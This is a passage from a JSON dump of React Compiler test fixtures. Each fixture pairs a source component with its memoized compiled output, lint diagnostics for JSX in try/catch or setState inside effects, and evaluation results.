    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const count = new MaybeMutable();\n  return (\n    <View>\n      <View>\n        {<span>Text</span>}\n        {<span>{maybeMutate(count)}</span>}\n      </View>\n    </View>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const count = new MaybeMutable();\n    t0 = (\n      <View>\n        <View>\n          <span>Text</span>\n          <span>{maybeMutate(count)}</span>\n        </View>\n      </View>\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-static.js",
    "content": "function Component(props) {\n  const count = new MaybeMutable();\n  return (\n    <View>\n      <View>\n        {<span>Text</span>}\n        {<span>{maybeMutate(count)}</span>}\n      </View>\n    </View>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/interdependent-across-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction compute() {}\nfunction foo() {}\nfunction Foo() {}\n\n/**\n * Should produce 1 scope:\n *\n * return: inputs=props.a & props.b & props.c; outputs=return\n *   const a = compute(props.a);\n *   const b = compute(props.b);\n *   if (props.c)\n *     foo(a, b);\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const a = compute(props.a);\n  const b = compute(props.b);\n  if (props.c) {\n    foo(a, b);\n  }\n  return <Foo a={a} b={b} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction compute() {}\nfunction foo() {}\nfunction Foo() {}\n\n/**\n * Should produce 1 scope:\n *\n * return: inputs=props.a & props.b & props.c; outputs=return\n *   const a = compute(props.a);\n *   const b = compute(props.b);\n *   if (props.c)\n *     foo(a, b);\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const $ = _c(8);\n  let a;\n  let b;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.c) {\n    a = compute(props.a);\n    b = compute(props.b);\n    if (props.c) {\n      foo(a, b);\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = a;\n    $[4] = b;\n  } else {\n    a = $[3];\n    b = $[4];\n  }\n  let t0;\n  if ($[5] !== a || $[6] !== b) {\n    t0 = <Foo a={a} b={b} />;\n    $[5] = a;\n    $[6] = b;\n    $[7] = t0;\n  } else {\n    t0 = $[7];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/interdependent-across-if.js",
    "content": "function compute() {}\nfunction foo() {}\nfunction Foo() {}\n\n/**\n * Should produce 1 scope:\n *\n * return: inputs=props.a & props.b & props.c; outputs=return\n *   const a = compute(props.a);\n *   const b = compute(props.b);\n *   if (props.c)\n *     foo(a, b);\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const a = compute(props.a);\n  const b = compute(props.b);\n  if (props.c) {\n    foo(a, b);\n  }\n  return <Foo a={a} b={b} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/interdependent.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Should produce 1 scope:\n *\n * return: inputs=props.a & props.b; outputs=return\n *   const a = compute(props.a);\n *   const b = compute(props.b);\n *   foo(a, b);\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const a = compute(props.a);\n  const b = compute(props.b);\n  foo(a, b);\n  return <Foo a={a} b={b} />;\n}\n\nfunction compute() {}\nfunction foo() {}\nfunction Foo() {}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * Should produce 1 scope:\n *\n * return: inputs=props.a & props.b; outputs=return\n *   const a = compute(props.a);\n *   const b = compute(props.b);\n *   foo(a, b);\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const $ = _c(7);\n  let a;\n  let b;\n  if ($[0] !== props.a || $[1] !== props.b) {\n    a = compute(props.a);\n    b = compute(props.b);\n    foo(a, b);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = a;\n    $[3] = b;\n  } else {\n    a = $[2];\n    b = $[3];\n  }\n  let t0;\n  if ($[4] !== a || $[5] !== b) {\n    t0 = <Foo a={a} b={b} />;\n    $[4] = a;\n    $[5] = b;\n    $[6] = t0;\n  } else {\n    t0 = $[6];\n  }\n  return t0;\n}\n\nfunction compute() {}\nfunction foo() {}\nfunction Foo() {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/interdependent.js",
    "content": "/**\n * Should produce 1 scope:\n *\n * return: inputs=props.a & props.b; outputs=return\n *   const a = compute(props.a);\n *   const b = compute(props.b);\n *   foo(a, b);\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const a = compute(props.a);\n  const b = compute(props.b);\n  foo(a, b);\n  return <Foo a={a} b={b} />;\n}\n\nfunction compute() {}\nfunction foo() {}\nfunction Foo() {}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-catch-in-outer-try-with-catch.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:\"lint\"\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let el;\n  try {\n    let value;\n    try {\n      value = identity(props.foo);\n    } catch {\n      el = <div value={value} />;\n    }\n  } catch {\n    return null;\n  }\n  return el;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:\"lint\"\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  let el;\n  try {\n    let value;\n    try {\n      value = identity(props.foo);\n    } catch {\n      el = <div value={value} />;\n    }\n  } catch {\n    return null;\n  }\n  return el;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"ErrorBoundaries\",\"reason\":\"Avoid constructing JSX within try/catch\",\"description\":\"React does not immediately render components when JSX is rendered, so any errors from this component will not be caught by the try/catch. To catch errors in rendering a given component, wrap that component in an error boundary. (https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary)\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":11,\"column\":11,\"index\":241},\"end\":{\"line\":11,\"column\":32,\"index\":262},\"filename\":\"invalid-jsx-in-catch-in-outer-try-with-catch.ts\"},\"message\":\"Avoid constructing JSX within try/catch\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":110},\"end\":{\"line\":17,\"column\":1,\"index\":317},\"filename\":\"invalid-jsx-in-catch-in-outer-try-with-catch.ts\"},\"fnName\":\"Component\",\"memoSlots\":4,\"memoBlocks\":2,\"memoValues\":2,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-catch-in-outer-try-with-catch.js",
    "content": "// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:\"lint\"\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let el;\n  try {\n    let value;\n    try {\n      value = identity(props.foo);\n    } catch {\n      el = <div value={value} />;\n    }\n  } catch {\n    return null;\n  }\n  return el;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-try-with-catch.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:\"lint\"\nfunction Component(props) {\n  let el;\n  try {\n    el = <div />;\n  } catch {\n    return null;\n  }\n  return el;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:\"lint\"\nfunction Component(props) {\n  let el;\n  try {\n    el = <div />;\n  } catch {\n    return null;\n  }\n  return el;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"ErrorBoundaries\",\"reason\":\"Avoid constructing JSX within try/catch\",\"description\":\"React does not immediately render components when JSX is rendered, so any errors from this component will not be caught by the try/catch. To catch errors in rendering a given component, wrap that component in an error boundary. (https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary)\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":5,\"column\":9,\"index\":123},\"end\":{\"line\":5,\"column\":16,\"index\":130},\"filename\":\"invalid-jsx-in-try-with-catch.ts\"},\"message\":\"Avoid constructing JSX within try/catch\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":2,\"column\":0,\"index\":68},\"end\":{\"line\":10,\"column\":1,\"index\":179},\"filename\":\"invalid-jsx-in-try-with-catch.ts\"},\"fnName\":\"Component\",\"memoSlots\":1,\"memoBlocks\":1,\"memoValues\":1,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-in-try-with-catch.js",
    "content": "// @loggerTestOnly @validateNoJSXInTryStatements @outputMode:\"lint\"\nfunction Component(props) {\n  let el;\n  try {\n    el = <div />;\n  } catch {\n    return null;\n  }\n  return el;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-lowercase-localvar.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Throw} from 'shared-runtime';\n\n/**\n * Note: this is disabled in the evaluator due to different devmode errors.\n * Found differences in evaluator results\n *  Non-forget (expected):\n *  (kind: ok) <invalidtag val=\"[object Object]\"></invalidtag>\n *  logs: ['Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag']\n *\n *  Forget:\n *  (kind: ok) <invalidtag val=\"[object Object]\"></invalidtag>\n *  logs: [\n *   'Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag',\n *   'Warning: The tag <%s> is unrecognized in this browser. If you meant to render a React component, start its name with an uppercase letter.%s','invalidTag',\n *  ]\n */\nfunction useFoo() {\n  const invalidTag = Throw;\n  /**\n   * Need to be careful to not parse `invalidTag` as a localVar (i.e. render\n   * Throw). Note that the jsx transform turns this into a string tag:\n   * `jsx(\"invalidTag\"...\n   */\n  return <invalidTag val={{val: 2}} />;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Throw } from \"shared-runtime\";\n\n/**\n * Note: this is disabled in the evaluator due to different devmode errors.\n * Found differences in evaluator results\n *  Non-forget (expected):\n *  (kind: ok) <invalidtag val=\"[object Object]\"></invalidtag>\n *  logs: ['Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag']\n *\n *  Forget:\n *  (kind: ok) <invalidtag val=\"[object Object]\"></invalidtag>\n *  logs: [\n *   'Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag',\n *   'Warning: The tag <%s> is unrecognized in this browser. If you meant to render a React component, start its name with an uppercase letter.%s','invalidTag',\n *  ]\n */\nfunction useFoo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <invalidTag val={{ val: 2 }} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-jsx-lowercase-localvar.jsx",
    "content": "import {Throw} from 'shared-runtime';\n\n/**\n * Note: this is disabled in the evaluator due to different devmode errors.\n * Found differences in evaluator results\n *  Non-forget (expected):\n *  (kind: ok) <invalidtag val=\"[object Object]\"></invalidtag>\n *  logs: ['Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag']\n *\n *  Forget:\n *  (kind: ok) <invalidtag val=\"[object Object]\"></invalidtag>\n *  logs: [\n *   'Warning: <%s /> is using incorrect casing. Use PascalCase for React components, or lowercase for HTML elements.%s','invalidTag',\n *   'Warning: The tag <%s> is unrecognized in this browser. If you meant to render a React component, start its name with an uppercase letter.%s','invalidTag',\n *  ]\n */\nfunction useFoo() {\n  const invalidTag = Throw;\n  /**\n   * Need to be careful to not parse `invalidTag` as a localVar (i.e. render\n   * Throw). Note that the jsx transform turns this into a string tag:\n   * `jsx(\"invalidTag\"...\n   */\n  return <invalidTag val={{val: 2}} />;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-derived-event.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect\nimport {useState, useEffect} from 'react';\n\nfunction VideoPlayer({isPlaying}) {\n  const [wasPlaying, setWasPlaying] = useState(isPlaying);\n  useEffect(() => {\n    if (isPlaying !== wasPlaying) {\n      setWasPlaying(isPlaying);\n      console.log('Play state changed!');\n    }\n  }, [isPlaying, wasPlaying]);\n  return <video />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: VideoPlayer,\n  params: [{isPlaying: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect\nimport { useState, useEffect } from \"react\";\n\nfunction VideoPlayer(t0) {\n  const $ = _c(5);\n  const { isPlaying } = t0;\n  const [wasPlaying, setWasPlaying] = useState(isPlaying);\n  let t1;\n  let t2;\n  if ($[0] !== isPlaying || $[1] !== wasPlaying) {\n    t1 = () => {\n      if (isPlaying !== wasPlaying) {\n        setWasPlaying(isPlaying);\n        console.log(\"Play state changed!\");\n      }\n    };\n    t2 = [isPlaying, wasPlaying];\n    $[0] = isPlaying;\n    $[1] = wasPlaying;\n    $[2] = t1;\n    $[3] = t2;\n  } else {\n    t1 = $[2];\n    t2 = $[3];\n  }\n  useEffect(t1, t2);\n  let t3;\n  if ($[4] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = <video />;\n    $[4] = t3;\n  } else {\n    t3 = $[4];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: VideoPlayer,\n  params: [{ isPlaying: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <video></video>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-derived-event.js",
    "content": "// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect\nimport {useState, useEffect} from 'react';\n\nfunction VideoPlayer({isPlaying}) {\n  const [wasPlaying, setWasPlaying] = useState(isPlaying);\n  useEffect(() => {\n    if (isPlaying !== wasPlaying) {\n      setWasPlaying(isPlaying);\n      console.log('Play state changed!');\n    }\n  }, [isPlaying, wasPlaying]);\n  return <video />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: VideoPlayer,\n  params: [{isPlaying: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-force-update.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect\nimport {useState, useEffect} from 'react';\n\nconst externalStore = {\n  value: 0,\n  subscribe(callback) {\n    return () => {};\n  },\n  getValue() {\n    return this.value;\n  },\n};\n\nfunction ExternalDataComponent() {\n  const [, forceUpdate] = useState({});\n  useEffect(() => {\n    const unsubscribe = externalStore.subscribe(() => {\n      forceUpdate({});\n    });\n    return unsubscribe;\n  }, []);\n  return <div>{externalStore.getValue()}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ExternalDataComponent,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect\nimport { useState, useEffect } from \"react\";\n\nconst externalStore = {\n  value: 0,\n  subscribe(callback) {\n    return () => {};\n  },\n  getValue() {\n    return this.value;\n  },\n};\n\nfunction ExternalDataComponent() {\n  const $ = _c(4);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const [, forceUpdate] = useState(t0);\n  let t1;\n  let t2;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      const unsubscribe = externalStore.subscribe(() => {\n        forceUpdate({});\n      });\n      return unsubscribe;\n    };\n    t2 = [];\n    $[1] = t1;\n    $[2] = t2;\n  } else {\n    t1 = $[1];\n    t2 = $[2];\n  }\n  useEffect(t1, t2);\n  let t3;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = <div>{externalStore.getValue()}</div>;\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ExternalDataComponent,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>0</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-force-update.js",
    "content": "// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect\nimport {useState, useEffect} from 'react';\n\nconst externalStore = {\n  value: 0,\n  subscribe(callback) {\n    return () => {};\n  },\n  getValue() {\n    return this.value;\n  },\n};\n\nfunction ExternalDataComponent() {\n  const [, forceUpdate] = useState({});\n  useEffect(() => {\n    const unsubscribe = externalStore.subscribe(() => {\n      forceUpdate({});\n    });\n    return unsubscribe;\n  }, []);\n  return <div>{externalStore.getValue()}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ExternalDataComponent,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-non-local-derived.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect\nimport {useState, useEffect} from 'react';\n\nfunction Child({firstName, lastName}) {\n  const [fullName, setFullName] = useState('');\n  useEffect(() => {\n    setFullName(firstName + ' ' + lastName);\n  }, [firstName, lastName]);\n  return <div>{fullName}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Child,\n  params: [{firstName: 'John', lastName: 'Doe'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect\nimport { useState, useEffect } from \"react\";\n\nfunction Child(t0) {\n  const $ = _c(6);\n  const { firstName, lastName } = t0;\n  const [fullName, setFullName] = useState(\"\");\n  let t1;\n  let t2;\n  if ($[0] !== firstName || $[1] !== lastName) {\n    t1 = () => {\n      setFullName(firstName + \" \" + lastName);\n    };\n    t2 = [firstName, lastName];\n    $[0] = firstName;\n    $[1] = lastName;\n    $[2] = t1;\n    $[3] = t2;\n  } else {\n    t1 = $[2];\n    t2 = $[3];\n  }\n  useEffect(t1, t2);\n  let t3;\n  if ($[4] !== fullName) {\n    t3 = <div>{fullName}</div>;\n    $[4] = fullName;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Child,\n  params: [{ firstName: \"John\", lastName: \"Doe\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>John Doe</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-set-state-in-effect-verbose-non-local-derived.js",
    "content": "// @validateNoSetStateInEffects @enableVerboseNoSetStateInEffect\nimport {useState, useEffect} from 'react';\n\nfunction Child({firstName, lastName}) {\n  const [fullName, setFullName] = useState('');\n  useEffect(() => {\n    setFullName(firstName + ' ' + lastName);\n  }, [firstName, lastName]);\n  return <div>{fullName}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Child,\n  params: [{firstName: 'John', lastName: 'Doe'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-namespace.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport * as React from 'react';\n\nfunction Component() {\n  const [state, setState] = React.useState(0);\n  React.useEffect(() => {\n    setState(s => s + 1);\n  });\n  return state;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport * as React from \"react\";\n\nfunction Component() {\n  const [state, setState] = React.useState(0);\n  React.useEffect(() => {\n    setState((s) => s + 1);\n  });\n  return state;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"EffectSetState\",\"reason\":\"Calling setState synchronously within an effect can trigger cascading renders\",\"description\":\"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\\n* Update external systems with the latest state from React.\\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\\n\\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)\",\"suggestions\":null,\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":7,\"column\":4,\"index\":200},\"end\":{\"line\":7,\"column\":12,\"index\":208},\"filename\":\"invalid-setState-in-useEffect-namespace.ts\",\"identifierName\":\"setState\"},\"message\":\"Avoid calling setState() directly within an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":100},\"end\":{\"line\":10,\"column\":1,\"index\":245},\"filename\":\"invalid-setState-in-useEffect-namespace.ts\"},\"fnName\":\"Component\",\"memoSlots\":1,\"memoBlocks\":1,\"memoValues\":1,\"prunedMemoBlocks\":1,\"prunedMemoValues\":1}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-namespace.js",
    "content": "// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport * as React from 'react';\n\nfunction Component() {\n  const [state, setState] = React.useState(0);\n  React.useEffect(() => {\n    setState(s => s + 1);\n  });\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-transitive.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const f = () => {\n    setState(s => s + 1);\n  };\n  const g = () => {\n    f();\n  };\n  useEffect(() => {\n    g();\n  });\n  return state;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const f = () => {\n    setState((s) => s + 1);\n  };\n  const g = () => {\n    f();\n  };\n  useEffect(() => {\n    g();\n  });\n  return state;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"EffectSetState\",\"reason\":\"Calling setState synchronously within an effect can trigger cascading renders\",\"description\":\"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\\n* Update external systems with the latest state from React.\\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\\n\\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)\",\"suggestions\":null,\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":13,\"column\":4,\"index\":284},\"end\":{\"line\":13,\"column\":5,\"index\":285},\"filename\":\"invalid-setState-in-useEffect-transitive.ts\",\"identifierName\":\"g\"},\"message\":\"Avoid calling setState() directly within an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":111},\"end\":{\"line\":16,\"column\":1,\"index\":312},\"filename\":\"invalid-setState-in-useEffect-transitive.ts\"},\"fnName\":\"Component\",\"memoSlots\":2,\"memoBlocks\":2,\"memoValues\":2,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-transitive.js",
    "content": "// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const f = () => {\n    setState(s => s + 1);\n  };\n  const g = () => {\n    f();\n  };\n  useEffect(() => {\n    g();\n  });\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-via-useEffectEvent.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useEffectEvent, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const effectEvent = useEffectEvent(() => {\n    setState(true);\n  });\n  useEffect(() => {\n    effectEvent();\n  }, []);\n  return state;\n}\n\n```\n\n## Code\n\n```javascript\n// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport { useEffect, useEffectEvent, useState } from \"react\";\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const effectEvent = useEffectEvent(() => {\n    setState(true);\n  });\n  useEffect(() => {\n    effectEvent();\n  }, []);\n  return state;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"category\":\"EffectSetState\",\"reason\":\"Calling setState synchronously within an effect can trigger cascading renders\",\"description\":\"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\\n* Update external systems with the latest state from React.\\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\\n\\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)\",\"suggestions\":null,\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":10,\"column\":4,\"index\":286},\"end\":{\"line\":10,\"column\":15,\"index\":297},\"filename\":\"invalid-setState-in-useEffect-via-useEffectEvent.ts\",\"identifierName\":\"effectEvent\"},\"message\":\"Avoid calling setState() directly within an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":0,\"index\":127},\"end\":{\"line\":13,\"column\":1,\"index\":328},\"filename\":\"invalid-setState-in-useEffect-via-useEffectEvent.ts\"},\"fnName\":\"Component\",\"memoSlots\":4,\"memoBlocks\":3,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-via-useEffectEvent.js",
    "content": "// @loggerTestOnly @validateNoSetStateInEffects @outputMode:\"lint\"\nimport {useEffect, useEffectEvent, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const effectEvent = useEffectEvent(() => {\n    setState(true);\n  });\n  useEffect(() => {\n    effectEvent();\n  }, []);\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect.expect.md",
